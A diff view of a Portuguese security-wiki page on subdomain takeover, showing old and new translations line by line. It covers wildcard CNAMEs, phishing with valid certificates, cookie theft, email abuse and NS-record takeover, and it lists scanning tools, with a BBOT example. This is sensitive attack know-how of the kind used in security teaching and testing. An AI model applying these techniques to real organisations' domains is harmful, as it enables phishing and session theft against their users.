Se você descobrir algum domínio (dominio.tld) que está **sendo usado por algum serviço dentro do escopo**, mas a **empresa** perdeu a **propriedade** dele, você pode tentar **registrá-lo** (se for barato o suficiente) e informar a empresa. Se este domínio estiver recebendo alguma **informação sensível** como um cookie de sessão via parâmetro **GET** ou no cabeçalho **Referer**, isso é com certeza uma **vulnerabilidade**.
|
||||
Se você descobrir algum domínio (domain.tld) que está **sendo usado por algum serviço dentro do escopo** mas a **empresa** perdeu a **propriedade** dele, você pode tentar **registrar** (se for barato o suficiente) e informar a empresa. Se este domínio estiver recebendo alguma **informação sensível** como um cookie de sessão via parâmetro **GET** ou no cabeçalho **Referer**, isso é certamente uma **vulnerabilidade**.
|
||||
|
||||
### Subdomínio takeover
|
||||
### Subdomain takeover
|
||||
|
||||
Um subdomínio da empresa está apontando para um **serviço de terceiros com um nome não registrado**. Se você pode **criar** uma **conta** neste **serviço de terceiros** e **registrar** o **nome** que está sendo usado, você pode realizar o subdomínio takeover.
|
||||
Um subdomínio da empresa está apontando para um **serviço terceirizado com um nome não registrado**. Se você puder **criar** uma **conta** neste **serviço terceirizado** e **registrar** o **nome** em uso, você pode realizar a tomada de subdomínio.
|
||||
|
||||
Existem várias ferramentas com dicionários para verificar possíveis takeovers:
|
||||
Existem várias ferramentas com dicionários para verificar possíveis tomadas:
|
||||
|
||||
* [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
|
||||
* [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
|
||||
|
|
@ -42,155 +44,161 @@ Existem várias ferramentas com dicionários para verificar possíveis takeovers
|
|||
* [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
|
||||
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
|
||||
|
||||
#### Verificando subdomínios suscetíveis a sequestro com [BBOT](https://github.com/blacklanternsecurity/bbot):
|
||||
#### Scanning for Hijackable Subdomains with [BBOT](https://github.com/blacklanternsecurity/bbot):
|
||||
|
||||
As verificações de subdomínio takeover estão incluídas na enumeração padrão de subdomínios do BBOT. As assinaturas são obtidas diretamente de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
|
||||
Verificações de takeover de subdomínio estão incluídas na enumeração padrão de subdomínios do BBOT. Assinaturas são retiradas diretamente de [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
|
||||
```bash
|
||||
bbot -t evilcorp.com -f subdomain-enum
|
||||
```
|
||||
### Geração de Subdomínio Takeover via DNS Wildcard
|
||||
### Geração de Subdomain Takeover via DNS Wildcard
|
||||
|
||||
Quando um wildcard DNS é usado em um domínio, qualquer subdomínio solicitado desse domínio que não tenha um endereço diferente explicitamente será **resolvido para as mesmas informações**. Isso pode ser um endereço IP A, um CNAME...
|
||||
Quando o DNS wildcard é utilizado em um domínio, qualquer subdomínio solicitado desse domínio que não tenha um endereço explicitamente diferente será **resolvido para a mesma informação**. Isso pode ser um endereço IP A, um CNAME...
|
||||
|
||||
Por exemplo, se `*.testing.com` estiver configurado como wildcard para `1.1.1.1`. Então, `not-existent.testing.com` estará apontando para `1.1.1.1`.
|
||||
Por exemplo, se `*.testing.com` está com wildcard para `1.1.1.1`. Então, `not-existent.testing.com` estará apontando para `1.1.1.1`.
|
||||
|
||||
No entanto, se em vez de apontar para um endereço IP, o administrador do sistema apontar para um **serviço de terceiros via CNAME**, como um **subdomínio do GitHub**, por exemplo (`sohomdatta1.github.io`). Um atacante poderia **criar sua própria página de terceiros** (no caso do GitHub) e dizer que `something.testing.com` está apontando para lá. Porque o **wildcard CNAME** concordará, o atacante será capaz de **gerar subdomínios arbitrários para o domínio da vítima apontando para suas páginas**.
|
||||
No entanto, se em vez de apontar para um endereço IP, o sysadmin apontá-lo para um **serviço de terceiros via CNAME**, como um **subdomínio do github** por exemplo (`sohomdatta1.github.io`). Um atacante poderia **criar sua própria página de terceiros** (no Github neste caso) e dizer que `something.testing.com` está apontando para lá. Porque, o **CNAME wildcard** concordará e o atacante será capaz de **gerar subdomínios arbitrários para o domínio da vítima apontando para suas páginas**.
|
||||
|
||||
Você pode encontrar um exemplo dessa vulnerabilidade no write-up do CTF: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
Você pode encontrar um exemplo desta vulnerabilidade no write-up do CTF: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
|
||||
## Explorando um Subdomínio Takeover
|
||||
## Explorando um Subdomain Takeover
|
||||
|
||||
**Esta informação foi copiada de** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/)
|
||||
|
||||
Recentemente, eu [escrevi](https://0xpatrik.com/subdomain-takeover-basics/) sobre os conceitos básicos de subdomínio takeover. Embora o conceito seja agora geralmente bem compreendido, notei que as pessoas geralmente têm dificuldade em entender os riscos que o subdomínio takeover traz para a mesa. Neste post, vou aprofundar e cobrir os riscos mais notáveis do _subdomínio takeover_ na minha perspectiva.
|
||||
Recentemente, eu [escrevi](https://0xpatrik.com/subdomain-takeover-basics/) sobre os conceitos básicos de subdomain takeover. Embora o conceito agora seja geralmente bem compreendido, notei que as pessoas geralmente têm dificuldade em entender os riscos que o subdomain takeover traz à mesa. Neste post, eu exploro em profundidade e cubro os riscos mais notáveis de _subdomain takeover_ do meu ponto de vista.
|
||||
|
||||
_Observação: Alguns riscos são mitigados implicitamente pelo provedor de nuvem. Por exemplo, quando o subdomínio takeover é possível no Amazon CloudFront, não há como configurar registros TXT para contornar as verificações SPF. O post, portanto, tem como objetivo fornecer riscos gerais de subdomínio takeover. No entanto, a maioria deles se aplica também aos provedores de nuvem._
|
||||
_Nota: Alguns riscos são mitigados implicitamente pelo provedor de nuvem. Por exemplo, quando o subdomain takeover é possível no Amazon CloudFront, não há como configurar registros TXT para contornar verificações de SPF. O post, portanto, visa fornecer riscos sobre subdomain takeover em geral. No entanto, a maioria deles se aplica a provedores de nuvem também._
|
||||
|
||||
### Transparência para um Navegador <a href="#transparencytoabrowser" id="transparencytoabrowser"></a>
|
||||
### Transparência Para um Navegador <a href="#transparencytoabrowser" id="transparencytoabrowser"></a>
|
||||
|
||||
Para começar, vamos analisar a resolução DNS quando o CNAME está envolvido:
|
||||
Para começar, vamos olhar para a resolução de DNS onde o CNAME está envolvido:
|
||||
|
||||
|
||||
|
||||
|
||||
Observe que a etapa #7 solicita _sub.example.com_ em vez de _anotherdomain.com_. Isso ocorre porque o navegador da web não tem conhecimento de que _anotherdomain.com_ sequer existe. Mesmo que o registro CNAME seja usado, a barra de URL do navegador ainda contém _sub.example.com_. Isso é a **transparência** para o navegador. Se você pensar sobre isso, o navegador deposita toda a confiança no resolvedor DNS para fornecer informações precisas sobre o domínio. Simplificando, o subdomínio takeover é um spoofing DNS para um domínio específico em toda a Internet. Por quê? Porque qualquer navegador que execute a resolução DNS no domínio afetado recebe um conjunto de registros A definido por um atacante. O navegador então mostra alegremente o que é recebido deste servidor (pensando que é legítimo).
|
||||
Note que a etapa #7 solicita _sub.example.com_ em vez de _anotherdomain.com_. Isso ocorre porque o navegador da web não está ciente de que _anotherdomain.com_ sequer existe. Mesmo que o registro CNAME seja usado, a barra de URL no navegador ainda contém _sub.example.com_. Esta é a **transparência** para o navegador. Se você pensar sobre isso, o navegador coloca toda a confiança no resolvedor de DNS para fornecer informações precisas sobre o domínio. Simplificando, subdomain takeover é um spoofing de DNS para um domínio particular em toda a Internet. Por quê? Porque qualquer navegador que realize a resolução de DNS no domínio afetado recebe um registro A definido por um atacante. O navegador então exibe alegremente o que quer que seja recebido deste servidor (pensando que é legítimo).
|
||||
|
||||
Um domínio desse tipo é perfeito para phishing. Os atacantes frequentemente usam [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou os chamados [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar o domínio/site legítimo para fins de phishing. Depois que um atacante assume o controle de um nome de domínio legítimo, é quase impossível para um usuário comum dizer se o conteúdo no domínio é fornecido por uma parte legítima ou por um atacante. Vamos pegar como exemplo um banco aleatório. Se um dos subdomínios do banco for vulnerável ao subdomínio takeover, um atacante pode criar um formulário HTML que imita o formulário de login do sistema de internet banking do banco. Em seguida, um atacante pode executar uma campanha de spear phishing ou phishing em massa pedindo aos usuários que façam login e alterem suas senhas. Nesta etapa, as senhas são capturadas por um atacante que está no controle do domínio em questão. A URL fornecida no e-mail de phishing é um subdomínio legítimo de um banco. Portanto, os usuários não têm conhecimento de algo malicioso acontecendo. Filtros de spam e outras medidas de segurança também são menos propensos a identificar o e-mail como spam ou malicioso porque ele contém nomes de domínio com maior confiança.
|
||||
Um domínio como esse cria um cenário perfeito para phishing. Atacantes frequentemente usam [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou os chamados [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar o domínio/site legítimo para fins de phishing. Depois que um atacante assume o controle de um nome de domínio legítimo, é quase impossível para um usuário comum dizer se o conteúdo no domínio é fornecido por uma parte legítima ou um atacante. Vamos pegar, por exemplo, um banco aleatório. Se um dos subdomínios do banco for vulnerável a subdomain takeover, um atacante pode criar um formulário HTML que imita o formulário de login do sistema de internet banking do banco. Então, um atacante pode executar uma campanha de spear phishing ou phishing em massa pedindo aos usuários para fazerem login e mudarem suas senhas. Neste estágio, as senhas são capturadas por um atacante que está no controle do domínio em questão. O URL fornecido no e-mail de phishing é um subdomínio legítimo de um banco. Portanto, os usuários não estão cientes de algo malicioso acontecendo. Filtros de spam e outras medidas de segurança também são menos propensos a acionar o e-mail como spam ou malicioso porque ele contém nomes de domínio com maior confiança.
|
||||
|
||||
De fato, o próprio nome de domínio desempenha um papel significativo em uma campanha bem-sucedida. Ter um subdomínio de 5º nível vulnerável ao subdomínio takeover é muito menos _"legítimo"_ do que ter um subdomínio de 2º nível com um nome de subdomínio amigável. Vi vários casos de subdomínios perfeitos para phishing, incluindo:
|
||||
De fato, o próprio nome de domínio desempenha um papel significativo em uma campanha bem-sucedida. Ter um subdomínio de 5º nível vulnerável a subdomain takeover é muito menos _"legítimo"_ do que ter um subdomínio de 2º nível com um nome de subdomínio amigável. Eu vi várias instâncias de subdomínios perfeitos para phishing, incluindo:
|
||||
|
||||
* _purchases.SOMETHING.com_
|
||||
* _www.SOMETHING.com_
|
||||
* _online.SOMETHING.com_
|
||||
* _shop.SOMETHING.com_
|
||||
|
||||
Todos eles vulneráveis ao subdomínio takeover. Todos eles eram grandes marcas. Falando sobre phishing perfeito?
|
||||
Todos eles vulneráveis a subdomain takeover. Todos eles eram grandes marcas. Falando sobre phishing perfeito?
|
||||
|
||||
No entanto, campanhas recentes de phishing hospedam conteúdo em domínios com nomes de domínio longos que incluem o nome da marca (veja o exemplo da [Apple](https://www.phishtank.com/target_search.php?target_id=183&valid=y&active=All&Search=Search)). Tendo um certificado SSL válido (mais sobre isso abaixo), palavra-chave no nome de domínio e um site que imita o site da marca-alvo, as pessoas tendem a cair nesses ataques. Pense nas chances com um subdomínio legítimo dessa marca.
|
||||
No entanto, campanhas recentes de phishing hospedam conteúdo em domínios com nomes de domínio longos que incluem o nome da marca (veja [exemplo da Apple](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Tendo um certificado SSL válido (mais sobre isso abaixo), palavra-chave no nome do domínio e site que imita o site da marca alvo, as pessoas tendem a cair nesses ataques. Pense nas chances com um subdomínio legítimo desta marca.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### Certificados SSL <a href="#sslcertificates" id="sslcertificates"></a>
|
||||
|
||||
O ataque acima pode ser aprimorado gerando um certificado SSL válido. Autoridades de certificação como [_Let's Encrypt_](https://letsencrypt.org/) permitem a verificação automática da propriedade do domínio por meio da verificação de conteúdo:
|
||||
O ataque acima pode ser aprimorado pela geração de um certificado SSL válido. Autoridades certificadoras como [_Let's Encrypt_](https://letsencrypt.org/) permitem a verificação automática da propriedade do domínio pela verificação de conteúdo:
|
||||
|
||||
|
||||
|
||||
|
||||
Isso significa que, se houver um conteúdo específico colocado em um caminho de URL específico, o Let's Encrypt aprovará a emissão de um certificado para um determinado domínio. Como um atacante tem controle total sobre o conteúdo do domínio que é vulnerável ao subdomínio takeover, essa verificação pode ser feita em questão de minutos. Portanto, os atacantes também são capazes de gerar um certificado SSL para esse domínio, o que reduz ainda mais a suspeita de um ataque de phishing.
|
||||
### Roubo de Cookies <a href="#roubodecookies" id="roubodecookies"></a>
|
||||
Ou seja, se houver um conteúdo específico colocado em um caminho de URL específico, Let's Encrypt aprovará a emissão de um certificado para um determinado domínio. Como um atacante tem controle total sobre o conteúdo do domínio que é vulnerável a subdomain takeover, essa verificação pode ser feita em questão de minutos. Portanto, os atacantes também são capazes de gerar um certificado SSL para tal domínio, o que apenas diminui a suspeita de um ataque de phishing.
|
||||
|
||||
Isso está intimamente relacionado à transparência do navegador, mas tem consequências diferentes. O navegador da web implementa muitas políticas de segurança para evitar que sites maliciosos causem danos. Isso inclui coisas como [Política de mesma origem](https://en.wikipedia.org/wiki/Same-origin\_policy). Uma das principais responsabilidades de segurança de um navegador é proteger os cookies salvos. Por quê? Embora o HTTP seja um protocolo sem estado, os cookies são usados para rastrear sessões. Por conveniência, os usuários costumam salvar cookies por um longo período para evitar fazer login toda vez. Esses cookies, portanto, atuam como um token de login que é apresentado ao servidor da web e o usuário é identificado. Ataques como [_Roubo de sessão_](https://en.wikipedia.org/wiki/Session\_hijacking) naturalmente evoluíram a partir desse conceito.
|
||||
### Roubo de Cookies <a href="#cookiestealing" id="cookiestealing"></a>
|
||||
|
||||
O navegador automaticamente apresenta os cookies armazenados com cada solicitação ao domínio que os emitiu. Há uma exceção para isso, na qual os cookies podem ser compartilhados entre subdomínios ([leia aqui](https://tools.ietf.org/html/rfc6265#section-8.6), observe também a seção 8.7). Isso geralmente acontece quando o site usa um sistema de [login único](https://en.wikipedia.org/wiki/Single\_sign-on) (SSO) baseado em cookies. Usando o SSO, um usuário pode fazer login usando um subdomínio e compartilhar o mesmo token de sessão em uma ampla variedade de subdomínios. A sintaxe para definir um cookie regular é a seguinte:
|
||||
Isso anda de mãos dadas com a transparência do navegador, mas tem consequências diferentes. O navegador da web implementa muitas políticas de segurança para impedir que sites maliciosos causem danos. Isso inclui coisas como [Política de mesma origem](https://en.wikipedia.org/wiki/Same-origin\_policy). Uma das principais responsabilidades de segurança de um navegador é proteger os cookies salvos. Por quê? Enquanto o HTTP é um protocolo sem estado, os cookies são usados para rastrear sessões. Para conveniência, os usuários frequentemente salvam cookies por um período prolongado para evitar fazer login todas as vezes. Esses cookies, portanto, agem como um token de login que é apresentado ao servidor web e o usuário é identificado. Ataques como [_Sequestro de sessão_](https://en.wikipedia.org/wiki/Session\_hijacking) evoluíram naturalmente desse conceito.
|
||||
|
||||
O navegador automaticamente apresenta os cookies armazenados com cada solicitação ao domínio que os emitiu. Há uma exceção a isso, tal que os cookies podem ser compartilhados entre subdomínios ([leia aqui](https://tools.ietf.org/html/rfc6265#section-8.6), também observe a seção 8.7). Isso geralmente acontece quando o site usa um sistema de [Single sign-on](https://en.wikipedia.org/wiki/Single\_sign-on) (SSO) baseado em cookies. Usando SSO, um usuário pode fazer login usando um subdomínio e compartilhar o mesmo token de sessão em uma ampla gama de subdomínios. A sintaxe para definir um cookie regular é a seguinte:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value
|
||||
```
|
||||
Se este cookie for emitido pelo servidor web que reside em _example.com_, apenas este servidor poderá acessar este cookie posteriormente. No entanto, o cookie pode ser emitido para um domínio curinga (pelos motivos explicados acima) da seguinte maneira:
|
||||
Se este cookie for emitido por um servidor web residente em _example.com_, apenas este servidor poderá acessar este cookie posteriormente. No entanto, o cookie pode ser emitido para um domínio curinga (pelos motivos explicados acima) da seguinte maneira:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value; domain=example.com
|
||||
```
|
||||
O cookie será incluído em solicitações HTTP para _example.com_, mas também para qualquer outro subdomínio, como _subdominio.example.com_. Esse comportamento cria a possibilidade de ataques de alta gravidade usando subdomínio takeover. Suponha que um determinado domínio esteja usando cookies de sessão para domínio curinga. Se houver um subdomínio vulnerável ao subdomínio takeover, a única coisa necessária para obter o token de sessão do usuário é enganá-lo para visitar o subdomínio vulnerável. O cookie de sessão é automaticamente enviado com a solicitação HTTP.
|
||||
```markdown
|
||||
O cookie será incluído em solicitações HTTP para _example.com_, mas também para qualquer outro subdomínio, como _subdomain.example.com_. Esse comportamento cria a possibilidade de ataques de alta gravidade usando subdomain takeover. Suponha que um domínio específico esteja usando cookies de sessão para domínio curinga. Se houver um subdomínio vulnerável a subdomain takeover, a única coisa necessária para coletar o token de sessão do usuário é induzi-lo a visitar o subdomínio vulnerável. O cookie de sessão é automaticamente enviado com a solicitação HTTP.
|
||||
|
||||
O navegador também implementa mecanismos de segurança adicionais para cookies:
|
||||
|
||||
* **Cookie HttpOnly** - Por padrão, os cookies podem ser acessados pelo código JavaScript em execução no contexto do site que criou os cookies. O JavaScript pode ler, atualizar e excluir os cookies. A flag _HttpOnly_ (definida pelo servidor web) indica que o cookie em questão não pode ser acessado pelo código JavaScript. A única maneira de obtê-lo é por meio de cabeçalhos de solicitação e resposta HTTP.
|
||||
* **Cookie seguro** - Quando o cookie tem a flag _Secure_ definida pelo servidor web, ele só pode ser comunicado de volta ao servidor web se o HTTPS for usado.
|
||||
* **HttpOnly cookie** — Cookies podem, por padrão, ser acessados por código Javascript executado no contexto do site que criou os cookies. Javascript pode ler, atualizar e deletar os cookies. A flag _HttpOnly_ do cookie (definida pelo servidor web) indica que o cookie específico não pode ser acessado por código Javascript. A única maneira de obtê-lo é através dos cabeçalhos de solicitação e resposta HTTP.
|
||||
* **Secure cookie** — Quando o cookie tem a flag _Secure_ definida pelo servidor web, ele só pode ser comunicado de volta ao servidor web se HTTPS for usado.
|
||||
|
||||
Se o domínio for vulnerável ao subdomínio takeover, um invasor pode obter cookies emitidos por esse domínio no passado apenas enganando os usuários para visitar esse site. As flags HttpOnly e Secure não ajudam, pois o cookie não está sendo acessado usando JavaScript e o certificado SSL pode ser facilmente gerado para o domínio tomado.
|
||||
Se o domínio for vulnerável a subdomain takeover, um atacante pode coletar cookies emitidos por esse domínio no passado apenas induzindo usuários a visitar esse site. As flags HttpOnly e Secure não ajudam, pois o cookie não está sendo acessado usando Javascript e o certificado SSL pode ser facilmente gerado para o domínio tomado.
|
||||
|
||||
O roubo de cookies usando takeover foi explicado em um relatório de recompensa por bugs [report](https://hackerone.com/reports/172137) por Arne Swinnen. O relatório explica o problema com um dos subdomínios da _Ubiquiti Networks_ (_ping.ubnt.com_). Este subdomínio estava vulnerável ao subdomínio takeover, apontando para uma distribuição não reclamada do AWS CloudFront. Como a Ubiquiti Networks está usando SSO com cookies de sessão curinga, todos os usuários que visitam _ping.ubnt.com_ podem ter seus cookies de sessão roubados. Mesmo que este domínio esteja apontando para o AWS CloudFront, as configurações de distribuição do CloudFront permitem o registro de cookies com cada solicitação. Portanto, o cenário de extração de cookies de sessão é totalmente possível, mesmo com subdomínios apontando para o AWS CloudFront. Em 2017, Arne também demonstrou um vetor de ataque semelhante contra o sistema SSO da [Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
|
||||
O roubo de cookies usando takeover foi explicado no [relatório](https://hackerone.com/reports/172137) de bug bounty por Arne Swinnen. O relatório explica o problema com um dos subdomínios da _Ubiquiti Networks_ (_ping.ubnt.com_). Esse subdomínio estava vulnerável a subdomain takeover, apontando para uma distribuição AWS CloudFront não reivindicada. Como a Ubiquiti Networks está usando SSO com cookies de sessão curinga, todos os usuários que visitassem _ping.ubnt.com_ poderiam ter seus cookies de sessão roubados. Embora este domínio aponte para AWS CloudFront, as configurações de distribuição do CloudFront permitem registrar cookies com cada solicitação. Portanto, o cenário de extração de cookies de sessão é totalmente possível mesmo com subdomínios apontando para AWS CloudFront. Em 2017, Arne também demonstrou um vetor de ataque semelhante contra [o sistema SSO da Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
|
||||
|
||||
O comportamento explicado acima não se limita a cookies. Como os scripts JavaScript têm controle total sobre os sites em que são executados, ter a capacidade de substituir esses scripts no site legítimo pode levar a consequências catastróficas. Suponha que o site esteja usando código JavaScript de um provedor externo usando a tag _script_ e o atributo _src_. Quando o domínio do provedor externo expira, o navegador falha silenciosamente, ou seja, não aciona nenhum alerta visível para usuários regulares. Se o código externo não estiver fazendo algo importante (por exemplo, sendo usado apenas para rastreamento), esse provedor externo pode permanecer no site por um período prolongado. Um invasor pode assumir esse domínio expirado, corresponder ao caminho URL do código JavaScript fornecido e, assim, obter controle sobre cada visitante que acessa o site original.
|
||||
O comportamento explicado acima não se limita a cookies. Como os scripts Javascript têm controle total sobre os sites em que são executados, ter a capacidade de substituir tais scripts em um site legítimo pode levar a consequências catastróficas. Suponha que o site esteja usando código Javascript de um provedor externo usando a tag _script_ e o atributo _src_. Quando o domínio do provedor externo expira, o navegador falha silenciosamente, ou seja, não aciona nenhum alerta visível para usuários comuns. Se o código externo não estiver fazendo nada importante (por exemplo, é usado apenas para rastreamento), tal provedor externo pode permanecer no site por um período prolongado. Um atacante pode assumir esse domínio expirado, combinar o caminho da URL do código Javascript fornecido e, assim, ganhar controle sobre cada visitante que visita o site original.
|
||||
|
||||
No entanto, há uma maneira de proteger a integridade dos arquivos JavaScript em um navegador. A _Integridade de Subrecursos_ [foi proposta](https://www.w3.org/TR/2016/REC-SRI-20160623/) como um mecanismo para incluir um hash criptográfico como um atributo _integrity_ na tag _script_ em HTML5. Quando o hash criptográfico fornecido não corresponde ao arquivo baixado, o navegador se recusa a executá-lo.
|
||||
No entanto, há uma maneira de proteger a integridade dos arquivos Javascript no navegador. _Subresource Integrity_ [foi proposto](https://www.w3.org/TR/2016/REC-SRI-20160623/) como um mecanismo para incluir hash criptográfico como um atributo _integrity_ à tag _script_ em HTML5. Quando o hash criptográfico fornecido não corresponde ao arquivo baixado, o navegador se recusa a executá-lo.
|
||||
|
||||
### E-mails <a href="#emails" id="emails"></a>
|
||||
|
||||
Quando o subdomínio takeover do CNAME é possível, os registros MX também podem ser configurados por um invasor para um servidor web arbitrário. Isso permite receber e-mails em um subdomínio legítimo de uma determinada marca - especialmente útil novamente em ataques de phishing (spear phishing) onde a interação entre o invasor e a vítima é necessária. Os invasores geralmente falsificam o cabeçalho `Return-Path` para receber uma resposta ao e-mail. Com registros MX corretos, esse problema é contornado.
|
||||
Quando o subdomain takeover de CNAME é possível, os registros MX também podem ser configurados por um atacante para um servidor web arbitrário. Isso permite receber e-mails para um subdomínio legítimo de alguma marca - particularmente útil novamente em ataques de phishing (spear) onde a interação entre um atacante e a vítima é necessária. Os atacantes geralmente falsificam o cabeçalho `Return-Path` para receber uma resposta ao e-mail. Com os registros MX corretos, esse problema é contornado.
|
||||
|
||||
Por outro lado, também é possível enviar e-mails. Embora seja trivial falsificar o cabeçalho `From` para incluir qualquer endereço de e-mail, os filtros SPF geralmente verificam o cabeçalho `Return-Path` e os hosts permitidos para envio de e-mails para o domínio. O SPF armazena a configuração em registros TXT do DNS. Com o subdomínio takeover, os registros TXT também estão sob o controle do invasor - as verificações SPF podem ser facilmente passadas.
|
||||
Por outro lado, também é possível enviar e-mails. Embora seja trivial falsificar o cabeçalho `From` para incluir qualquer endereço de e-mail, os filtros SPF geralmente verificam o cabeçalho `Return-Path` e os hosts permitidos para envio de e-mails para o domínio. O SPF armazena a configuração em registros DNS TXT. Com subdomain takeover, os registros TXT também estão sob controle do atacante - as verificações de SPF podem ser facilmente aprovadas.
|
||||
|
||||
_Como mencionei no início, essas táticas geralmente não funcionam com a maioria dos provedores de nuvem, pois você não tem controle direto sobre a zona DNS._
|
||||
_Como notei no início, essas táticas geralmente não funcionam com a maioria dos provedores de nuvem, pois você não tem controle direto sobre a zona DNS._
|
||||
|
||||
### Riscos de Ordem Superior <a href="#higherorderrisks" id="higherorderrisks"></a>
|
||||
|
||||
O conceito de subdomínio takeover pode ser naturalmente estendido para registros NS: se o domínio base de pelo menos um registro NS estiver disponível para registro, o nome de domínio de origem estará vulnerável ao subdomínio takeover.
|
||||
O conceito de subdomain takeover pode ser naturalmente estendido para registros NS: Se o domínio base de pelo menos um registro NS estiver disponível para registro, o nome de domínio de origem está vulnerável a subdomain takeover.
|
||||
|
||||
Um dos problemas no subdomínio takeover usando registro NS é que o nome de domínio de origem geralmente possui vários registros NS. Múltiplos registros NS são usados para redundância e balanceamento de carga. O servidor de nomes é escolhido aleatoriamente antes da resolução DNS. Suponha que o domínio _sub.example.com_ tenha dois registros NS: _ns.vulnerable.com_ e _ns.nonvulnerable.com_. Se um invasor assumir o controle do _ns.vulnerable.com_, a situação do ponto de vista do usuário que consulta _sub.example.com_ é a seguinte:
|
||||
Um dos problemas no subdomain takeover usando registro NS é que o nome de domínio de origem geralmente tem vários registros NS. Vários registros NS são usados para redundância e balanceamento de carga. O servidor de nomes é escolhido aleatoriamente antes da resolução DNS. Suponha que o domínio _sub.example.com_ tenha dois registros NS: _ns.vulnerable.com_ e _ns.nonvulnerable.com_. Se um atacante assumir o _ns.vulnerable.com_, a situação do ponto de vista do usuário que consulta _sub.example.com_ é a seguinte:
|
||||
|
||||
1. Como existem dois servidores de nomes, um é escolhido aleatoriamente. Isso significa que a probabilidade de consultar um servidor de nomes controlado por um invasor é de 50%.
|
||||
2. Se o resolvedor DNS do usuário escolher _ns.nonvulnerable.com_ (servidor de nomes legítimo), o resultado correto será retornado e provavelmente será armazenado em cache em algum lugar entre 6 e 24 horas.
|
||||
3. Se o resolvedor DNS do usuário escolher _ns.vulnerable.com_ (servidor de nomes de propriedade de um invasor), um invasor pode fornecer um resultado falso que também será armazenado em cache. Como um invasor controla o servidor de nomes, ela pode definir o TTL para esse resultado específico, por exemplo, uma semana.
|
||||
1. Como existem dois servidores de nomes, um é escolhido aleatoriamente. Isso significa que a probabilidade de consultar o servidor de nomes controlado por um atacante é de 50%.
|
||||
2. Se o resolvedor DNS do usuário escolher _ns.nonvulnerable.com_ (servidor de nomes legítimo), o resultado correto é retornado e provavelmente sendo armazenado em cache em algum lugar entre 6 e 24 horas.
|
||||
3. Se o resolvedor DNS do usuário escolher _ns.vulnerable.com_ (servidor de nomes de propriedade de um atacante), um atacante pode fornecer um resultado falso que também será armazenado em cache. Como um atacante está no controle do servidor de nomes, ela pode definir o TTL para esse resultado específico ser, por exemplo, uma semana.
|
||||
|
||||
O processo acima é repetido toda vez que a entrada de cache expira. Quando um invasor escolhe usar um TTL com valor alto, o resultado falso permanecerá no cache DNS durante esse período. Durante esse tempo, todas as solicitações para _sub.example.com_ usarão o resultado DNS falso armazenado em cache por um invasor. Essa ideia é ainda amplificada quando os resolvedores DNS públicos (por exemplo, Google DNS) são usados. Nesse caso, os resolvedores públicos provavelmente armazenarão em cache os resultados falsos, o que significa que todos os usuários que usam o mesmo resolvedor DNS obterão resultados falsos até que o cache seja revogado.
|
||||
O processo acima é repetido toda vez que a entrada de cache expira. Quando um atacante opta por usar TTL com valor alto, o resultado falso permanecerá no cache DNS por esse período. Durante esse tempo, todas as solicitações para _sub.example.com_ usarão o resultado DNS falso armazenado em cache por um atacante. Essa ideia é ainda amplificada quando resolvedores DNS públicos (por exemplo, Google DNS) são usados. Nesse caso, os resolvedores públicos provavelmente armazenarão os resultados falsos, o que significa que todos os usuários que usam o mesmo resolvedor DNS obterão resultados falsos até que o cache seja revogado.
|
||||
|
||||
Além do controle sobre o nome de domínio de origem, também é obtido controle sobre todos os domínios de nível superior do nome de domínio de origem. Isso ocorre porque possuir um nome de domínio canônico do registro NS significa possuir a zona DNS completa do nome de domínio de origem.
|
||||
Além do controle sobre o nome de domínio de origem, o controle sobre todos os domínios de nível superior do nome de domínio de origem também é obtido. Isso porque possuir um nome de domínio canônico de registro NS significa possuir a zona DNS completa do nome de domínio de origem.
|
||||
|
||||
Em 2016, Matthew Bryant [demonstrou](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) um subdomínio takeover usando registro NS em _maris.int_. O domínio de nível superior .INT é um TLD especial e apenas algumas poucas domínios o utilizam. Bryant mostrou que, mesmo que o registro de tais nomes de domínio seja aprovado exclusivamente pela IANA, os servidores de nomes podem ser definidos para domínios arbitrários. Como um dos servidores de nomes do _maris.int_ estava disponível para registro (_cobalt.aliis.be_), o subdomínio takeover foi possível mesmo nesse TLD restrito.
|
